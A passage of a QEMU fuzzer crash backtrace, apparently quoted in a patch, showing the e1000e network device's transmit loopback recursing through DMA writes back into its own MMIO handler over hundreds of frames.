/home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #9 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + #10 0x55561339901b in e1000e_core_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:3265:9 + #11 0x555613190f26 in e1000e_mmio_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:109:5 + #12 0x55561508ade0 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:483:5 + #13 0x55561508a2bd in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:544:18 + #14 0x555615087f70 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:1466:16 + #15 0x555614ce68a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3176:23 + #16 0x555614ccf878 in flatview_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3216:14 + #17 0x555614ccf3a8 in address_space_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3308:18 + #18 0x555614ccfc40 in address_space_rw /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3318:16 + #19 0x5556133b76c7 in dma_memory_rw_relaxed /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:87:18 + #20 0x5556133b6ff5 in dma_memory_rw /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:110:12 + #21 0x5556133b6f3d in pci_dma_rw /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:790:5 + #22 0x5556133b526a in pci_dma_write /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:803:12 + #23 0x5556133b403f in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1412:9 + #24 0x555613393bae in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1582:21 + #25 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #26 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #27 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #28 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #29 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #30 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #31 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #32 0x5556133f302f in e1000e_start_xmit /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #33 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + #34 0x55561339901b in e1000e_core_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:3265:9 + #35 0x555613190f26 in e1000e_mmio_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:109:5 + #36 0x55561508ade0 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:483:5 + #37 0x55561508a2bd in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:544:18 + #38 0x555615087f70 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:1466:16 + #39 0x555614ce68a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3176:23 + #40 0x555614ccf878 in flatview_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3216:14 + #41 0x555614ccf3a8 in address_space_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3308:18 + #42 0x555614ccfc40 in address_space_rw /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3318:16 + #43 0x5556133b76c7 in dma_memory_rw_relaxed /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:87:18 + #44 0x5556133b6ff5 in dma_memory_rw /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:110:12 + #45 0x5556133b6f3d in pci_dma_rw /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:790:5 + #46 0x5556133b526a in pci_dma_write /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:803:12 + #47 0x5556133b403f in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1412:9 + #48 0x555613393bae in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1582:21 + #49 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #50 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #51 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #52 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #53 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #54 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #55 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #56 0x5556133f302f in e1000e_start_xmit /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #57 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + #58 0x55561339901b in e1000e_core_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:3265:9 + #59 0x555613190f26 in e1000e_mmio_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:109:5 + #60 0x55561508ade0 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:483:5 + #61 0x55561508a2bd in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:544:18 + #62 0x555615087f70 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:1466:16 + #63 0x555614ce68a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3176:23 + #64 0x555614ccf878 in flatview_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3216:14 + #65 0x555614ccf3a8 in address_space_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3308:18 + #66 0x555614ccfc40 in address_space_rw /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3318:16 + #67 0x5556133b76c7 in dma_memory_rw_relaxed /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:87:18 + #68 0x5556133b6ff5 in dma_memory_rw /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:110:12 + #69 0x5556133b6f3d in pci_dma_rw /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:790:5 + #70 0x5556133b526a in pci_dma_write /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:803:12 + #71 0x5556133b403f in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1412:9 + #72 0x555613393bae in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1582:21 + #73 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #74 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #75 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #76 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #77 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #78 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #79 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #80 0x5556133f302f in e1000e_start_xmit /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #81 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + #82 0x55561339901b in e1000e_core_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:3265:9 + #83 0x555613190f26 in e1000e_mmio_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:109:5 + #84 0x55561508ade0 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:483:5 + #85 0x55561508a2bd in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:544:18 + #86 0x555615087f70 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:1466:16 + #87 0x555614ce68a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3176:23 + #88 0x555614ccf878 in flatview_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3216:14 + #89 0x555614ccf3a8 in address_space_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3308:18 + #90 0x555614ccfc40 in address_space_rw /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3318:16 + #91 0x5556133b76c7 in dma_memory_rw_relaxed /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:87:18 + #92 0x5556133b6ff5 in dma_memory_rw /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:110:12 + #93 0x5556133b6f3d in pci_dma_rw /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:790:5 + #94 0x5556133b526a in pci_dma_write /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:803:12 + #95 0x5556133b403f in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1412:9 + #96 0x555613393bae in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1582:21 + #97 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #98 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #99 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #100 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #101 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #102 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #103 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #104 0x5556133f302f in e1000e_start_xmit /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #105 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + #106 0x55561339901b in e1000e_core_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:3265:9 + #107 0x555613190f26 in e1000e_mmio_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:109:5 + #108 0x55561508ade0 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:483:5 + #109 0x55561508a2bd in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:544:18 + #110 0x555615087f70 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:1466:16 + #111 0x555614ce68a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3176:23 + #112 0x555614ccf878 in flatview_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3216:14 + #113 0x555614ccf3a8 in address_space_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3308:18 + #114 0x555614ccfc40 in address_space_rw /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3318:16 + #115 0x5556133b76c7 in dma_memory_rw_relaxed /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:87:18 + #116 0x5556133b6ff5 in dma_memory_rw /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:110:12 + #117 0x5556133b6f3d in pci_dma_rw /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:790:5 + #118 0x5556133b526a in pci_dma_write /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:803:12 + #119 0x5556133b403f in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1412:9 + #120 0x555613393bae in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1582:21 + #121 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #122 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #123 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #124 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #125 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #126 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #127 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #128 0x5556133f302f in e1000e_start_xmit /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #129 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + #130 0x55561339901b in e1000e_core_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:3265:9 + #131 0x555613190f26 in e1000e_mmio_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:109:5 + #132 0x55561508ade0 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:483:5 + #133 0x55561508a2bd in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:544:18 + #134 0x555615087f70 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:1466:16 + #135 0x555614ce68a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3176:23 + #136 0x555614ccf878 in flatview_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3216:14 + #137 0x555614ccf3a8 in address_space_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3308:18 + #138 0x555614ccfc40 in address_space_rw /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3318:16 + #139 0x5556133b76c7 in dma_memory_rw_relaxed /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:87:18 + #140 0x5556133b6ff5 in dma_memory_rw /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:110:12 + #141 0x5556133b6f3d in pci_dma_rw /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:790:5 + #142 0x5556133b526a in pci_dma_write /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:803:12 + #143 0x5556133b403f in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1412:9 + #144 0x555613393bae in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1582:21 + #145 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #146 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #147 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #148 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #149 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #150 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #151 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #152 0x5556133f302f in e1000e_start_xmit /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #153 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + #154 0x55561339901b in e1000e_core_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:3265:9 + #155 0x555613190f26 in e1000e_mmio_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:109:5 + #156 0x55561508ade0 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:483:5 + #157 0x55561508a2bd in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:544:18 + #158 0x555615087f70 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:1466:16 + #159 0x555614ce68a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3176:23 + #160 0x555614ccf878 in flatview_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3216:14 + #161 0x555614ccf3a8 in address_space_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3308:18 + #162 0x555614ccfc40 in address_space_rw /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3318:16 + #163 0x5556133b76c7 in dma_memory_rw_relaxed /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:87:18 + #164 0x5556133b6ff5 in dma_memory_rw /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:110:12 + #165 0x5556133b6f3d in pci_dma_rw /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:790:5 + #166 0x5556133b526a in pci_dma_write /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:803:12 + #167 0x5556133b403f in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1412:9 + #168 0x555613393bae in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1582:21 + #169 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #170 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #171 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #172 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #173 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #174 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #175 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #176 0x5556133f302f in e1000e_start_xmit /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #177 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + #178 0x55561339901b in e1000e_core_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:3265:9 + #179 0x555613190f26 in e1000e_mmio_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:109:5 + #180 0x55561508ade0 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:483:5 + #181 0x55561508a2bd in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:544:18 + #182 0x555615087f70 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:1466:16 + #183 0x555614ce68a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3176:23 + #184 0x555614ccf878 in flatview_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3216:14 + #185 0x555614ccf3a8 in address_space_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3308:18 + #186 0x555614ccfc40 in address_space_rw /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3318:16 + #187 0x5556133b76c7 in dma_memory_rw_relaxed /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:87:18 + #188 0x5556133b6ff5 in dma_memory_rw /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:110:12 + #189 0x5556133b6f3d in pci_dma_rw /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:790:5 + #190 0x5556133b526a in pci_dma_write /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:803:12 + #191 0x5556133b403f in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1412:9 + #192 0x555613393bae in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1582:21 + #193 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #194 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #195 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #196 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #197 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #198 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #199 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #200 0x5556133f302f in e1000e_start_xmit /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #201 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + #202 0x55561339901b in e1000e_core_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:3265:9 + #203 0x555613190f26 in e1000e_mmio_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:109:5 + #204 0x55561508ade0 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:483:5 + #205 0x55561508a2bd in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:544:18 + #206 0x555615087f70 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:1466:16 + #207 0x555614ce68a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3176:23 + #208 0x555614ccf878 in flatview_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3216:14 + #209 0x555614ccf3a8 in address_space_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3308:18 + #210 0x555614ccfc40 in address_space_rw /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3318:16 + #211 0x5556133b76c7 in dma_memory_rw_relaxed /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:87:18 + #212 0x5556133b6ff5 in dma_memory_rw /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:110:12 + #213 0x5556133b6f3d in pci_dma_rw /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:790:5 + #214 0x5556133b526a in pci_dma_write /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:803:12 + #215 0x5556133b403f in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1412:9 + #216 0x555613393bae in e1000e_write_packet_to_guest /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1582:21 + #217 0x55561338e419 in e1000e_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1709:9 + #218 0x55561319680b in e1000e_nc_receive_iov /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:213:12 + #219 0x555612812581 in net_tx_pkt_sendv /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:556:9 + #220 0x55561280fbc8 in net_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:633:9 + #221 0x555612813f38 in net_tx_pkt_send_loopback /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/net_tx_pkt.c:646:11 + #222 0x5556133f8c07 in e1000e_tx_pkt_send /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:664:16 + #223 0x5556133f5359 in e1000e_process_tx_desc /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:743:17 + #224 0x5556133f302f in e1000e_start_xmit /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:934:9 + #225 0x5556133daba8 in e1000e_set_tctl /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:2431:9 + #226 0x55561339901b in e1000e_core_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:3265:9 + #227 0x555613190f26 in e1000e_mmio_write /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e.c:109:5 + #228 0x55561508ade0 in memory_region_write_accessor /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:483:5 + #229 0x55561508a2bd in access_with_adjusted_size /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:544:18 + #230 0x555615087f70 in memory_region_dispatch_write /home/alxndr/Development/qemu/general-fuzz/build/../softmmu/memory.c:1466:16 + #231 0x555614ce68a6 in flatview_write_continue /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3176:23 + #232 0x555614ccf878 in flatview_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3216:14 + #233 0x555614ccf3a8 in address_space_write /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3308:18 + #234 0x555614ccfc40 in address_space_rw /home/alxndr/Development/qemu/general-fuzz/build/../exec.c:3318:16 + #235 0x5556133b76c7 in dma_memory_rw_relaxed /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:87:18 + #236 0x5556133b6ff5 in dma_memory_rw /home/alxndr/Development/qemu/general-fuzz/include/sysemu/dma.h:110:12 + #237 0x5556133b6f3d in pci_dma_rw /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:790:5 + #238 0x5556133b526a in pci_dma_write /home/alxndr/Development/qemu/general-fuzz/include/hw/pci/pci.h:803:12 + #239 0x5556133b403f in e1000e_write_to_rx_buffers /home/alxndr/Development/qemu/general-fuzz/build/../hw/net/e1000e_core.c:1412:9 + #240 0x555613393bae in e1000e_write_packet_to_guest 